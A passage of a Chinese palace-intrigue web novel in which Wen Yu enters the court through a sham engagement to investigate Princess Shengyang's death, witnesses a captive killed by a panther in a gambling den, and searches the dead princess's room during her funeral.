启蛰这人最为重情,再怎么说葛巾也和他是一同长大的,就算是他真的气急了也不可能会直接杀了她。这也就是葛巾敢来见他,甚至没有躲开他剑的缘故吧。
葛巾没有说话,算是默认。
隔了许久,她缓缓从怀中拿出一根红绳,是温余从崇安带来的那一根。她将红绳放在温余手上,“这东西还你,我没戴过,随便你送给谁。从此以后,大路朝天,各走一边。”
话落,葛巾便绕过温余离开。
看着葛巾就这样简单的离开,尚卿疑惑道:“你为何不拦住她?问出些消息也好。”
温余轻轻摇头,“问不出来的,我问你你也不说不是吗?”
尚卿轻笑了一声,没有回答。
温余走上前接过启蛰,“尚公子若是没事就先回去吧,我还有些话要等启蛰醒来后说。”
尚卿临走前又问一句:“你确定要管这件事?哪怕是挡了别人的路,别人要杀你灭口?”
“要管,死也要管。”
“为什么?”尚卿还是不明白,宫中众人皆是以你死换我活的心态,若是有人遭了罪偷笑都来不及呢,怎么可能会冒着生命危险去碰一个不知有多硬的对手?
而温余偏偏要硬凑上去,分明贺扶都将她从这件事里摘得干干净净,却还是不愿意放手。
为什么?
只听温余回答:“因为圣阳是我的朋友,她不能就这么不明不白的死,我要为她找到凶手,还她一个公道。贺大人是我心悦之人,他被奸人陷害入狱,我亦要为他沉冤昭雪。”
“好,那我就等着你,看看究竟能如何。”
尚卿转身离去,温余将启蛰带回了他的房中。
这还是她第一次进启蛰的房间,他的房间里尽数是些关于剑的东西,书架上的剑谱,还有摆了整整一墙的剑。还有已经落了灰的书案上放着几本话本,大多是些侠义本子,还有几本是将情情爱爱的。
看这书页的卷边竟是与一旁放着几乎全新的史书典籍形成了不同的两种颜色。
之后,温余又在将府中各个屋中为数不多的东西整理好。
再回到启蛰屋子的时候就已经入夜了,启蛰还没有醒过来,看来尚卿的这一掌用了极大的力气。
温余燃了灯坐在书案旁看向窗外,空荡荡的,萧索又凄凉。也不知是秋日将尽还是她心中愁苦。
好像有些太静了……她之前分明很习惯这样的寂静,但今日怎么又忽然觉得难过了呢?
忽得,她在院中的兵器架子上看到了一杆枪,较圣阳那一把还要短一些。
她又忽得想起,之前在崇安圣阳曾答应她教她习枪。
昨晚忽然听到圣阳出事的时候,她只觉得内心一震,并没有生出难过的情绪来。
她本以为是自己在棺材铺的时候见惯了生死,自己已经习惯了,但今日细细一想竟生出几分酸意,分明前一日还在一起说笑的人,怎么忽然就不见了呢?
日后,再也见不到她了。
温余垂下眼帘,从怀中摸出葛巾给还给她的那根红绳,以及和那根红绳一起放在她手中的纸条。
她将纸条打开,只见那上面写着:圣阳之死有异。
温余猛得站起身来,椅子和地面摩擦发出了一声极其刺耳的声响。
那上面的字迹她再清楚不过,是贺扶。
温余几乎是立刻明白了贺扶的意思。贺扶知道她一定会调查此事,所以留了字条,为她点明了方向。
从圣阳的死开始查,一定会有收获!<
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可是……
她现在如何能进入宫中呢?
温余定了定心神后又坐下,如何能进入宫中且能在宫中随意行走呢?
她将自己在宫中认识的人排了个遍,最后竟只剩尚卿一人。
思索许久,她还是给启蛰留了一张字条,让他先按兵不动,随后她便离开了。
走前,她还拿上了尚卿送的簪子。
温余借了马,一路奔至嘉亲王府前,果真被守门的侍卫挡住了路。
她拿出尚卿在初见时送的簪子,“我乃嘉亲王好友,特来府上拜会。”
那侍卫看到簪子后变了神色,向温余行礼后便转身进入府中通报。不多时,他便恭敬上前,请温余进去。
温余跟着一个小丫鬟一路来到了后院,只见尚卿仍旧穿着白日的翠色锦袍,站在庭中练剑,剑气飞扬间,几片枯叶被斩落,飘飘扬扬落在地上。
小丫鬟离开,温余走上前去,但没有打断尚卿,而是坐在一旁等他练完剑。
一套剑法结束,尚卿顺势将剑背至身后,另一只手随意接住一片落叶,目光未从叶片上离开,“如何?”
温余知道他是在问自己,所以答道:“身如飞燕,剑法卓绝,当然好。”
尚卿笑一声,将那叶片朝温余的方向一掷,截住了一只飞虫。
他向温余走来,边走边道:“这是发自内心的,还是为了找我帮忙溜须拍马?”
“都有,一半一半吧!”温余道。
尚卿也不恼,坐在温余对面,唇角勾起一抹笑:“你是来找我帮忙的,还是来投靠我的?”
“找你帮忙。”温余如实相告。
“你怎么能这么肯定我就会帮你呢?”尚卿端起酒杯小酌一口。
“你不是都暗示过我了吗?”温余将那簪子放在桌上,尚卿看后一笑,“一支簪子?你还真是聪明啊。”
温余微微一笑:“彼此彼此。”
白日里分明没什么事情,尚卿却忽然提到这簪子,说那些人懂事没有将它拿走,这不就是说这簪子代表的是他嘉亲王府吗?
而尚卿也只是提到,并没有将簪子拿走,这不就是在告诉她,如果要帮忙就拿簪子来找他。
反正不知真假,温余是信了的。所以,她便拿着簪子前来,果然见到了他。
“所以,你要我帮你什么?”尚卿拿起簪子对着月光端详了一会儿。
温余轻呼一口气道:“我想进宫,能够在宫中行走不被怀疑。”
“哦?”尚卿挑了挑眉,“就算是以你的官职都不能让你在宫中随意走动,更别说现在贺扶出事,你就连出现在宫中都会有人盯着,你这要求有些困难啊……”
“……”温余沉默了很久,轻声道,“很为难吗?”
“说难也不难。”尚卿将手中的簪子转了个圈儿,又一次看向温余,“只不过我得牺牲一下了。”
“牺牲什么?”
“牺牲我的……色相……?”
“……色相?”温余嘴角抽了抽,“你不会要去用美色引诱什么人吧?”
“你。”尚卿用簪子指着温余。
温余也用手指着自己,“我?”
尚卿唇角的笑更加明显,一双狭长的眼也弯了起来,他道:“你嫁给我,做我的嘉亲王妃,自然就能随意在宫中行走了,除过当朝帝后,无人敢拦你。”
“如何?嫁吗?”
78. 入宫
温余愣了很久,“你……”
尚卿见温余吞吞吐吐,便向她解释道:“成为嘉亲王妃可不是那么容易的,宫中礼仪你可都得会,到时候我舅母定会找你去宫中学规矩,你便能借机住在宫中,四处行走。”
“那你呢?”温余看向尚卿的眼中闪过一丝担忧。
尚卿站起身来,缓缓道:“我当然不会让自己吃亏了。我们打一个赌,在我向你提亲到成婚的这段时间,你会放弃贺扶,爱上我。”
温余懵然,这是个什么赌?
尚卿继续道:“若是你爱上我,那我们的婚约便作数,若是你还执着于贺扶,那我也不是个爱强人所难的人,我自然放你走。”
“这赌局对你来说也没什么好处吧?”温余还是有些迟疑。
尚卿却道:“让贺扶喜欢的人喜欢上我,这对我简直就是天大的好事。”
“你就那么笃定我会爱上你?”温余话刚出口就被一个冰冷的事物贴上了唇,封住了她的嘴。
尚卿缓缓蹲下,双眸一眨不眨地盯着她,“你答应,我求亲,赌局开始。”
“好。”温余轻轻点了点头。
尚卿也笑了,他将簪子簪在温余发间,走远了打量却怎么都不满意。应该是这件衣服的问题。
他又轻笑一声,簪子在月光下发着微弱的光,这次她可没有自己摘下来的权利了。
赌局,开始……
……
扬州落了雨,秋日最后的雨。
一场秋雨一场寒,这场雨下过后怕是就要换厚衣裳了。
一长队的人浩浩荡荡从城门进来,最前头是一辆马车,之后便是挑着聘礼的伙夫,但这伙夫却与寻常人家的不同,各个身高八尺,孔武有力。
再加上极长的聘礼队伍,只刚刚进城便吸引了所有人的目光。
探出头的百姓议论纷纷,猜测这是谁家的姑娘被求娶,这么大的阵仗。
为首的马车在知州府前停下,先从车内下来的是一位身长玉立,锦衣玉面的公子,随后从车内下来的人竟是让知州府闻声外出查探的温如升等人惊掉了下巴。
“这……温余……?!”
尚卿带着温余走上前,像模像样地行礼,“岳丈大人。”
“不是……什么岳丈?我何时……你……”温如升话都说不清楚了,一旁看着两人成双成对走出的温淳更是气歪了脸。
她昨日方才因为何继宗的母亲给她甩了脸才回到温如升身边求些安慰的,没想到今日没等到何继宗上们道歉便罢,竟还见温余这丫头带了个如玉富贵的公子回来!这谁能不气?
温如升整理好了措辞,讪讪道:“不知公子是何方人士?小女尚未婚配和来岳丈一说?”
尚卿答道:“在下左晋皇室,嘉亲王尚卿尚渡凌,求娶温氏女温余。”
一道惊雷在温如升头上炸开,他觉得自己的眼前都有些模糊不清了,意识都开始恍惚了。
皇室啊……王爷啊……求娶啊……
“二小姐二小姐!”
一道叫喊声响起,温淳竟是直接被气晕了过去。
但温如升已经没有心思去管她了,而是喜笑颜开道:“原来是嘉亲王殿下啊,久仰久仰,日后便是一家人了,来来来请请请!”
看温如升这马首是瞻的样子,温余侧脸侧脸不愿去看。
几人来到上善堂中,温如升看着一批一批抬进府中的聘礼,嘴角都快咧到耳朵根了。
“老爷、老爷!”赵氏叫了好几声他才回过神来,他看向尚卿,满眼笑意:“能得嘉亲王青睐,简直是小女三生修来的福分啊!”
尚卿放下茶杯,道:“温大人这话说的,分明能娶到阿余这样的女子,是尚某三生有幸。”
“言重了言重了,我家这丫头从小就野得很,哪能让您说这样的话?”温如升立刻道,“这不知这婚期定在什么时候?”
“定在初春之日,也就是三月后,如何?”尚卿笑道。
三月后,正好是贺扶翻案最后的期限。
温如升自然同意,连连点头仿若小鸡啄米:“好好好,都看您的看您的。”
“既然温大人没有什么异议,那便按照我们的要求来了。不过阿余是要嫁到皇室,礼仪之类都得有所教养,所以之后的日子小婿便带她入宫了。”
温如升点头:“好好好,也让她学学规矩。”
和温如升知会后也算是彻底走完了流程,温余和尚卿并排从府中走出,背后是温如升欣喜若狂的身影,不断穿梭在尚卿抬来的聘礼之间。
“这温如升还真是见钱眼开。”坐上马车,尚卿才嘲讽似地开口。
温余只是点头,没有说话。
此刻她脑内想的皆是如何查清楚圣阳的案子,其他东西都无暇顾及。
尚卿见她无言,便也没有再说话,沉默的气氛一直持续到马车回到京城。
“马车会直接送你入宫,直接去坤宁宫,记得不要做得太明显,我过几日便入宫了,你独自小心。”尚卿下来马车,站在窗口和温余叮嘱。
温余点头:“我知道。对了,你记得去看看启蛰,不要让他做傻事。”
尚卿笑一声,打趣道:“我可是你的未婚夫婿,你怎么关心别人比关心我的多?”
温余有求必应:“那你也要小心,万般小心。”
尚卿笑着目送温余离开。
……
入了宫,温余被一行宫人带领着来到宫内,彩凤纹屏风后,皇后正闲闲翻阅着书册。见温余进来便将那书放在一旁,冲温余露出一个温柔的笑来,“温姑娘来了?别跪着了,快些起来让吾瞧一瞧。”
面对皇后的亲昵,温余少见的有些局促,毕竟对面是当朝的国母皇后,怎能随意对待。
温余学着宫人的礼仪向皇后行了一礼,皇后催促道:“日后都是一家人,不必行那些虚礼。”
说罢,她挥手遣散了宫人,拉着温余的手让她坐在自己身边,笑道:“之前在寿诞小宴上见你吾就喜欢得紧,可惜之后便没再见过你,如今你成了卿儿的未婚妻子,吾便欣喜得很。”
温余坐在软垫上,动也不知道要怎么动,只能任由皇后拉着自己的手。
“之前还以为你和阿扶……”说到贺扶,她又忽然的顿住了,那日圣阳出事时她也在场,但以她对贺扶的了解,她是坚信贺扶无罪的。只是后宫无法干政,她也不好多说什么。
再说清者自清,仔细彻查总是能还贺扶一个清白的。
“好了好了,我们
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不说这个。”皇后换了话题,“你那日在宴上雕得杏花栩栩如生,不知你还擅长雕什么?”
“花花草草,小猫小狗,我都可以的,若是皇后喜欢我可以多雕一些放在宫里。”皇后和蔼可亲,温余也渐渐放松了,竟是直接和她攀谈起来。
皇后听后掩口笑道:“当真?那吾便要小猫,小兔,还有杏花!如何?”
“当然好!”温余道。
两人谈话间,又一道身影从屏风外走来。
皇后见来人后喜道:“熙儿?”
来人是一张满月似地白皙脸蛋,眉间一点朱砂,笑时唇边还漾起一对可爱的梨涡,身上衣裳也是色彩艳丽,活像一只憨态可掬又高傲的小孔雀。
“见过母后。”来人是皇后亲女,最为受宠的六公主,温余记得她听说六公主时是因为她被葛巾泼水的糗事。
温余站起身向她行礼:“见过六公主。”
尚熙看向温余,似乎对她来了兴趣,像是看一件好玩的物什一样。看了许久,她才道:“母后,这位是……?”
皇后笑着向尚熙介绍道:“这就是你日后的堂嫂。”之后又转头向温余介绍,“这是熙儿,你们日后可要好好相处。”
尚熙上下打量了一番温余,而后绽开了一个笑:“我知道了,堂嫂好。”
她模样乖巧,温余也对她没有戒备,全当是交了一个新朋友,便道:“六公主不必多礼。”
“对了,衫儿今日也来找我了,正好要一同去园中赏景,不知堂嫂是否愿意赏脸同去?”
温余看向皇后,她道:“既然是你们少年人的宴会,那就一同去吧,你也要多交些朋友,日后都是一家人。”
温余福身,“是。”
见温余同意,尚熙笑得更欢了,同皇后告辞后便蹦蹦跳跳地拉着温余往外走。
出了门,她却没有将温余带去园子,而是将她拉到一旁,轻声道:“你就是之前和贺扶一直黏在一起的那个女子?”
温余觉得黏在一起这个说法过于暧昧,特别是还被人当着面说出来,她轻咳几声:“也不是黏在一起,只是办案需要。”
如今她的身份是尚卿未过门的妻子,为了少添麻烦自然是能少提到贺扶便少提到贺扶。
“办案需要?”尚熙的目光灼灼,“啊,我之前还好奇能将贺扶迷住的女子究竟是什么样子,毕竟圣阳可是花了大功夫都没有让他这棵万年的铁树开花,怎么你一个小小的知州之女就让他无法自拔了?”
“今日一见嘛……”尚熙带着笑意道,“也没什么出众的,竟还让尚卿都为你着迷……有意思,我对你很感兴趣,日后就跟着我吧。”
温余听她说了一番话,竟是将自己听出了几分祸国殃民,脚踩两只船的妖人模样。她不住倒吸了一口凉气,“并非如此,这般传言我自然受不起。”
“那你的意思是,我说的都是谣言?我偏听偏信?”尚熙眼中闪过一丝威胁来,温余摆手道:“我并无此意,只是……六公主不是说要去赏景吗?莫要让您的朋友等久了。”
尚熙这才反应过来,“也是,可不能让衫儿等久了,否则她该不理我了。那我们快些走吧。”
圆圆的杏眼眯起,笑得像只偷腥的小狐狸,“堂嫂……”
79. 赌场
穿过一条用石子铺成的小路,入眼便是一座小亭。其上如鸟翼展开,挂着朱红色的匾,摇光亭三个字秀逸端庄,只看一眼便能看出落笔之人的飘逸遗世之风。其下四方圆柱朱红,还点缀着些许金箔,当真是对应了“摇光”这一名。
亭子中央是玉制的桌凳,一位茶色衣衫的少女,她正低头插花。
尚熙见到了那姑娘便立刻放开拉着温余的手向她奔去,温余轻轻捏了捏自己的手腕,不知是故意还是无意,尚熙握她手腕的劲格外得大,她一放手,温余竟是在自己手腕上看到一道明显的红痕。
“衫儿!你在插花吗?真好看!我就知道你的手最巧了!”尚熙十分亲昵地抱住那人的胳膊,嘴里还不断夸着他。
温余轻轻走到亭中坐下,原本在插花的少女微微抬眼。
“这位是?”
尚熙笑着回答道:“这是我那位堂兄未过门的妻子,来宫中学规矩的。”
说罢,她撒娇似地诶呀了几声,“衫儿你讨厌!我们都多久没见过面了?你一来就问旁人,都不问问我!”
温余在一边坐着,听着尚熙这一阵娇嗔有些尴尬。这似乎是两位好友之间久别重逢的寒暄场面,她一个外人待在这里多少有些不方便。
“你想让我问你什么?”少女的声音冷冷的,目光未从花上移开。
但对方的冷脸似乎并没有让尚熙觉得不适,“什么都行,像我过得好不好啊,吃得好不好啊,睡得好不好啊,有没有遇到什么讨厌的人,讨厌的事啊……”
少女扫了她一眼,“六公主娇蛮任性,谁敢让你不悦?”
就算是对方用了这样的词语,尚熙依旧不依不饶,倒是颇有几分热脸贴人家冷屁股样子。温余在一边太过尴尬,只能向四周种满了的花树看去,但秋日大多花都枯败了,最多只能看到满眼的枯枝败叶。
“不知姑娘何名?”
温余转过头,见那少女不知何时看向了自己,是在问她?
“在下温余,叫我阿余就好。”温余笑道。
“宋衫。”她也介绍道。
温余记得上次皇后生辰见过歌阳侯,面前这位就是歌阳侯家的郡主,安乐郡主。
“喂,你不许和她说话,也不许叫她阿余。”尚熙撇撇嘴,“你都没有叫过我阿熙!”
宋衫淡淡道:“六公主千金之躯,我不敢。”
“什么不敢?我又不会罚你!”尚熙更不开心了,就连飞扬的眉毛此刻也拉了下来。
温余在一旁更加局促,见面前尚熙的意思是不想让自己和宋衫交流,正巧她也想早些查些线索,便站起身道:“既六公主和安乐郡主旧友重逢,那我便先告辞了。”
见温余要走,尚熙转而看她:“谁要你走了?我要你陪我们一起玩。”
“若是温姑娘有事那便让她离开,你又没什么要事。”宋衫很是善解人意。
“有什么事能比陪我玩更重要呢?”尚熙说得理所应当,仿佛这世上的一切都应该是为她而存在的一般,所有人都该围着她转。
她拉着宋衫的手,迫使她放下手中的花,“诶呀别搞这些乱七八糟的东西了!我发现一处很是好看的地方,我们一起去看!走啦!”
突如其来的力气将宋衫拉得一个踉跄,随后砰得一声,宋衫精心挑选布局的花瓶被摔在地上,四分五裂。
温余看到宋衫的表情出现了一瞬的空白,似乎是早已习惯了对方的冒失。
尚熙只是轻轻扫了一眼便唤来宫人:“来人,把这东西丢掉,真麻烦。”
说完,宋衫的表情更冷了。
“诶,你也跟上别磨蹭。”
尚熙临走前又喊了待在原地的温余一声,温余收回视线,快步跟上两人。
尚熙说的地方是宫外的一处赌场,但她要看的却不是赌局,而是带着两人来到了赌场内部。
赌场的小厮见了她,带着谄媚的笑带她上了三楼雅座,从上往下看是一个用铁栏围起来的巨大圆圈,里面铺满了沙土。
看到这一幕,温余的眼皮跳了跳,若是她没猜错,这种地方应当是小型的斗兽场,血腥厮杀,这白嫩可爱的小公主怎么会喜欢这样的地方?
她侧目看了看,果然坐在尚熙身边的宋衫也皱起了眉。
不久,宋衫开口道:“为何不给温姑娘座?”
尚熙这才瞥了温余一眼,“这里只有两个位置啊?我想让衫儿你和我坐着嘛!”
宋衫的眉头更深了,隔了一会儿她站了起来,“既如此尊卑有序,六公主一人坐便好。”
见宋衫站起来,尚熙没来得及阻拦,只好扁扁嘴:“不要!你……”她看了温余一眼,温余勾起一个干巴巴的笑,“好吧好吧,来人,赐座。”
尚熙气鼓鼓地转头,宋衫对温余道:“坐吧。”
温余看了一眼尚熙的背影后道:“多谢安乐郡主。”
宋衫没说什么,只是看着温余坐下,她自己却没有坐下。
尚熙半晌没见宋衫坐下,又一次回头:“我都让她坐了,你也坐下!”
宋衫沉默。
尚熙又要开口,却听楼下响起一声响亮的铜锣声,顷刻便吸引了她的注意。
她转过头,见下方一位穿着灰衣的男子高声道:“诸位客官,今日的赌局即将开始,对战双方已各自就位,请诸位客官开始下注。”
话音落下,一位小厮掀开帘子走进来,将两个下注用的盅放在尚熙面前,一紫一金。
尚熙没有急着下注,,而是看向下方。
那灰衣男人继续道:“诸位客官,请看紫方。”
又一声锣响,从一个黑黢黢的洞里缓缓钻出来一只皮毛发亮的黑豹,两只尖利的爪子让在场众人看得胆寒。
温余不由打了个寒颤,这黑豹精壮,几乎是片刻就能将一人撕成碎片,这般绝对的压制,不知对面会用什么样的东西来对抗。
灰衣男子又敲响铜锣,“诸位客官,请看金方。”
另一侧的门缓缓打开,而从其中走出来的东西竟是让温余都倒吸一口凉气。
那是一个人,一个浑身干瘦几乎皮包骨头的人。
“不……不对……这……”温余结巴了半晌。
尚熙却没有任何犹豫地将一锭金子丢进紫色的盅里
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宋衫看着台下的情形,轻轻摇了摇头,但也没有丝毫惊讶,仿佛这样的场景她已经看了千万遍。
“现在,赌局,开始!”
锣响之后,黑豹被解开了腿上的束缚,眼中一闪寒光便朝着对面的人扑上去。
那人骨瘦如柴,就是跑也跑不快,只能借着身侧的栏杆往上爬。
“怎能拿人命来赌?”温余额上逐渐渗出一层汗。
尚熙毫不在意:“人命?那是且末遗民,连畜生都算不上,死前能被拿来取乐,也算是有了一丁点儿用处。”
“左晋不是与且末交好吗?怎么能这般对待他们?”温余越发觉得胆寒。
尚熙轻笑一声,说出的话天真又残忍:“这事和我又没有关系,我只知道自己开心最重要。我父皇母后自小就是这么教我的。”
“如何?你有意见?”
对上尚熙看过来的目光,温余锁眉道:“可你的开心不应该建立在旁人的危难之上,况且身为一国公主,不该心系百姓,关注国家之事吗?怎能这般视人命如草芥?简直是……罔顾人伦!”
宋衫的双眼顿时瞪大,向温余投来担忧的目光。
尚熙本看着楼下的争斗兴致冲冲,但听到温余这话后收起了笑,“你在教我做公主?”
温余想要开口,却感到衣袖被拉了拉,宋衫冲她摇了摇头。
“这样不妥,人人都有活着的权力,怎能因为贵族取乐就要这般屈辱地被当做草芥一般践踏?”温余没有听宋衫的阻拦。
尚熙眼中似乎闪过几分疑惑:“贵族取乐?这应当是他们的荣幸。自我出身起就是这样的,有什么问题?”
“你……”温余沉默了。自她出生时就是这般,她不知这些年来看到过多少次这样的场景,这样的情况竟没有人管控?而且,皇帝皇后难道是默许了?
且末分明与左晋交好,但为何会落得这样的结果?
温余的心渐渐冷下来,沉默了半晌后她转身向楼下跑去。
宋衫一惊,看向尚熙,尚熙也同意疑惑:“她吓到了?”
宋衫没有什么表情,只是平静道:“继续看吧。”
温余也不知道自己为什么要从楼上跑下来,但等她回过神时自己就已经在那铁围栏外了。
这地方是按照楼层分贵贱的,三层是最为尊贵的客人,那么这一层就是底层客人。他们没有座位,都是围成一个圈,伸长了脖子往里看。
一个个的眼神热切像是在期待着那人被黑豹撕成碎片一般,这些人也是粗衣布衫,若是在这赌场外头应当与此刻对战黑豹的那位且末人无差,但他们竟也像那些人一般,将人命作为玩笑。
温余站在圈外,看着那些人讨论着圈内那人的下场,有人说他会被一口咬断脖子,也有人说那人会被撕成碎片,还有些更为残忍的猜想。
温余听不下去了,双腿发软。
他们怎么能对生命这般漠视?怎么能玩笑般的讨论一个人的死亡?
她不住向后退了几步,后背却忽然碰到一具温热的身体。
“怎么?害怕了?”
80. 丧礼
尚卿不知何时已经走到了温余的背后,他一只手背在身后,一只手搭上温余的肩膀,目光却没有离开场内的战况。
他的眼中也是与寻常围观人群一般的趣味。
“不是怕,是觉得冷。”温余又道,“很冷。”
尚卿当然知道她说的“冷”是什么意思,他笑了一声:“这就觉得冷了,你接着看。”
场中央,原本爬在柱子上躲避黑豹的男人因为体力不支渐渐从上面滑下来,在下等候多时的黑豹早已口水直流,都在下方汪成了一小片。
男人不断尖叫着,黑豹似乎更加兴奋了,而周边围观的众人比那黑豹还要兴奋,所有人都翘首以盼,等着黑豹将那人撕碎。
最后,那男人在众人的欢呼声中重重摔到了地上,顷刻间便被黑豹扑倒。
“不行,他会被吃了的。”温余向上前去阻止,但却被尚卿制住双手,让她无法动弹。
“你救不了他的,没有人救得了他。”尚卿依旧带着笑意。
温余转过头,“你不是可以吗?楼上有那么多人,每个人都有权势,但没有一个人去救他,只要一句话就可以,为什么没有人去救?”
尚卿却是挑了挑眉:“你以为他取悦的是谁?”
“因为这里所有的人都很无聊都很累,公务繁忙、家中妻妾还有很多东西都让他们觉得烦闷,所以他们需要一个放松,可以被拿来取乐的东西。而这个东西无论是动物还是人,都可以。”
尚卿说得既轻松又随意,让温余不禁怀疑他是否也是这其中的一员。
“你也是这样认为的吗?”温余回头看向尚卿。
“之前不是,人总是会变的,被周围的环境改变。”
“贺扶不是,对吗?”温余直直看着尚卿。
尚卿脸上的笑滞了一下,“重要吗?”
“重要,因为他能证明你刚刚说的是错的,举世皆浊我独清,在于人自己。”温余甩开尚卿的手,拨开人群想要冲上去。
这样的地方不该存在,这样的娱乐活动也不该建立在他人的生命之上!
可是她刚刚碰到栏杆就见满脸是血的男人趴在了栏杆旁,在看到她是似乎出现了一丝希望。他双目通红,瞪大了眼睛对温余道:“救我救救我。”
没一个字出来时还喷出些血丝,还有不少喷到了温余手上。
“你……”
温余说不出一句话来,只见那黑豹注意到了男人,直接扑上来,一口咬住了男人的下半身,牙齿嵌入腰间,周围的人们都发出一句喝彩。
“救救我啊……救救我……”男人继续叫着,目眦尽裂。
温余想帮忙,四处看着可以进入牢笼的办法。可这围栏都是用最坚硬的铁器制造,单单凭借一人的力气又如何能寻到破开的法子?
她只能站在栏杆外,看着那对自己满怀希冀的男人看向自己的目光逐渐冰冷,呆滞,木然,失去生机。
利齿噗呲一声穿透了他的胸膛,男人发出了此生的最后一声怒吼。
在场众人哑然片刻后爆发出无数的呐喊。
“好啊,太好了!”
温余上前拉住叫得最欢的男人,问他:“为什么好?他死了为什么好?”
面对温余的质问,男人吞了吞口水:“当然是有钱拿啊,我压的紫。”
“钱就能让你为一条命逝去而喝彩吗?!”温余努力地喘着气,看向男人的目光带上了几分晶莹。
男人似乎也觉得不对,但他还是道:“我妻女也是命,有了这些钱她们能过得更好,不受苦不受冻,而且他是且末人,是俘虏,早晚都该死的。他死能让我们有钱拿,这也算是一件好事。”
男人甩开了温余的手,转身离开。
之后,温余又拉住了更多,每一个人都说着同样的话。只有一位双手颤抖的妇人在面对温余的质问时留下了泪,她哭道:“我儿子病了,病得很重,我没有钱去带他看大夫,没有钱买药。我是听有人说这里可以下注,几乎只要下注就能得到钱,所以我才来的。我只是想救救我儿子啊!若是能救我儿子,就算今天死在这里的人是我,我也愿意啊!”
妇人说得声泪俱下,温余却渐渐松开了抓着她衣襟的手。
不知何时,她的手已经有些麻木了。
等到最后一位客人离开,温余感到被后伸来一只手。
她飞快地转过身,握住尚卿的手腕,他道:“看到了吧,就是这样的。”
温余张了张口,半天说不出一句话。
良久,她才踉跄地走到铁栏旁。沙地上是那个男人的残肢,骨血与沙子融在一起,她不知道这沙地中埋了多少无名的骨血。
但在沙土之中,她忽得看到一点晶莹,好在那地方离得不远,温余伸手去挖开沙土,只见一只被毁得不成样子的长命锁。
“这是……”温余将那东西擦了擦。长命锁上的花纹古拙而神秘,不似左晋会刻的。
她猜测,这长命锁的主人应该是且末的一位父亲,这东西应该是他要送给自己儿女的。
“堂兄?”尚熙的声音响起,原本在看温余的尚卿转过头。
“许久不见。”一句十分随意的寒暄,仿佛只是为了应付。
尚熙目光落在了温余身上,“她趴在那儿做什么?脏死了。”
见她要上前,尚卿拦住了她。
看了一眼面无表情的宋衫后,尚卿将她拉到了别处。
“你为何带她来这儿?”
尚熙诶了一声,“不可以吗?这里很好玩,刚刚那黑豹又大又威猛,我很喜欢。她要做我的朋友,那她也得喜欢。”
尚卿笑了一声:“还真是霸道。对了,圣阳的事,你应该知道吧?”
尚熙点了点头,“当然,这宫里的人谁不知道?”
见尚卿神色奇怪,她狐疑道:“你要做什么?”
“她和圣阳有些旧识,我这些日子又抽不开身,所以劳烦你带她去看看圣阳。”尚卿似乎是为了印证“劳烦”这两个字,从怀中拿出一块亮色的宝石递给尚熙。
尚熙接过,随意掂了掂,“这东西我又不是没有!再说了,母后肯定会带她去的,你劳烦我也没用,我还要和衫儿玩呢!”
说罢,尚熙将宝石往尚卿手心一放,转身回到宋衫身边,向她展示自己赢来的财宝,“衫儿,你看我厉不厉害?我要用这些给你买好多东西,你想要什么?珠宝还是衣裳?”
宋衫收回放在温余身上的目光,“不用,你自己拿着吧。”<
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尚熙不依不饶道:“诶呀,就说几句嘛!那我可随意给你准备了,你可不许不收啊!”
到了离开的时候,尚熙见温余还是趴在栏杆边,便喊道:“快走了,真磨蹭。”
温余扶着栏杆站起身,双眼有些发晕。
等她模模糊糊回到宫中的时候已是深夜了。
她躺在床上,但一闭上眼白日的那副血腥场面便会出现在她眼前,好不容易睡着,竟是在梦中变成了今日的那男子。
她被困在牢笼之中,周围是狂热的看客,面前是饥肠辘辘的黑豹。她无能为力,就算是求救也没有人在意,每个人都盼望着她被黑豹撕碎。
无助与委屈席卷了她周身,她被惊醒,窗外还是无尽的夜色。
哐的一声,一只银色的小锁从她怀中掉落。
她拿起那只银锁,重重地叹了口气。
忽然,门外响起一阵脚步声。她飞快地穿好鞋子下床,来到门前门却被来人轻轻推开。
温余正要伸手扼住来人的脖子便听那人道:“温姑娘,是我。”
宋衫?
温余收回手,“你来做什么?”
宋衫带着毫无破绽的微笑将一个小香囊放在温余手中,“白日见你被吓到了,担心你会睡不好,所以就拿了安神的香囊给你送来。”
温余将香囊放在鼻尖嗅了嗅,是很熟悉的味道,但她一时想不起来是在哪里闻到过。
“多谢。”
宋衫笑道:“无事,这东西还是安成王送到我府上的呢,我用过,还不错,你应该能睡个好觉了。”
温余点头再一次道谢,宋衫转身要走,却忽然回头提醒道:“不过这香囊里的药材放得有些多,温姑娘可以拿出一些,否则会有些晕眩,四肢无力,莫要伤了温姑娘的神。”
说罢,宋衫转身离去,温余站在原地面上的神色逐渐复杂起来。
她总觉得宋衫有些奇怪,她应该知道些什么东西。会是什么呢?
安成王府……
温余忽然想起,明日安成王便要准备圣阳的丧礼了。
……
次日一早,皇后便派人来叫温余起床去参加安成王府的丧礼。
圣阳是皇室之人,丧礼定也是费了十二分的精力,堂中的一切都显得庄严又肃穆,人人都站在堂中,还有不少人站在安成王身边安慰着他。
温余站在皇后身边看着堂中来来往往的众人,每个人都说着安慰、可惜之类的话,但每个人看向安成王的目光中却又多了几分幸灾乐祸。
在安成王自己的府上,自己的亲生女儿被杀了,这对谁来说都是奇耻大辱,更别说驰骋疆场多年的安成王了。
在一众黑白衣衫之间,温余看到了宋衫,她是跟着她的父亲来的,儒雅非常的歌阳侯冲安成王道了声节哀。
温余正看着他们,却发现了宋衫投向自己的目光。
昨天的香囊?
温余轻轻垂眸,良久开口道:“娘娘,我有些闷想出去透透气。”
皇后放下手中的茶杯,对温余笑着点点头:“去吧,还有半个时辰时间,记得按时回来。”
温余点头,“是。”
在皇后温柔的注视中,温余从侧门出了堂。
81. 丧礼(二)
走出门后,温余寻了一条人最少的路绕到了后厅,趁着没人走到了圣阳的寝屋外,伸手轻轻推开门。
圣阳似乎很少回安成王府,大多都是在宫中殿内居住的,所以这边陈设也都十分板正,大多没有碰过的痕迹。
竟是没有想到她难得回一次家,竟会是这样的结果。
温余走进屋子后关上了门,屋内弥漫着极其浓重的血腥气,如此明显,倒像是有人刻意而为,为了掩盖什么东西。
温余拿出昨夜宋衫送来的香囊又仔细嗅了嗅。
虽然她还未搞清楚宋衫究竟是要做什么,究竟知道什么,是在帮她还是请君入瓮,但如今已经来不及了,能有一点线索那便要顺着查下去,再说,宋衫应该不是什么恶人,至少不会无来由的害自己。
这屋子太过平常,什么都没有,干净得吓人。
按照安成王的说法,圣阳被黑衣人引去林中后受了伤,正巧遇到了歌阳侯府的人,是歌阳侯的人带她回来的。
回来后就直接回了府中养伤,到那夜宴会时,圣上给贺扶和她赐婚,之后便是人尽皆知的事情。
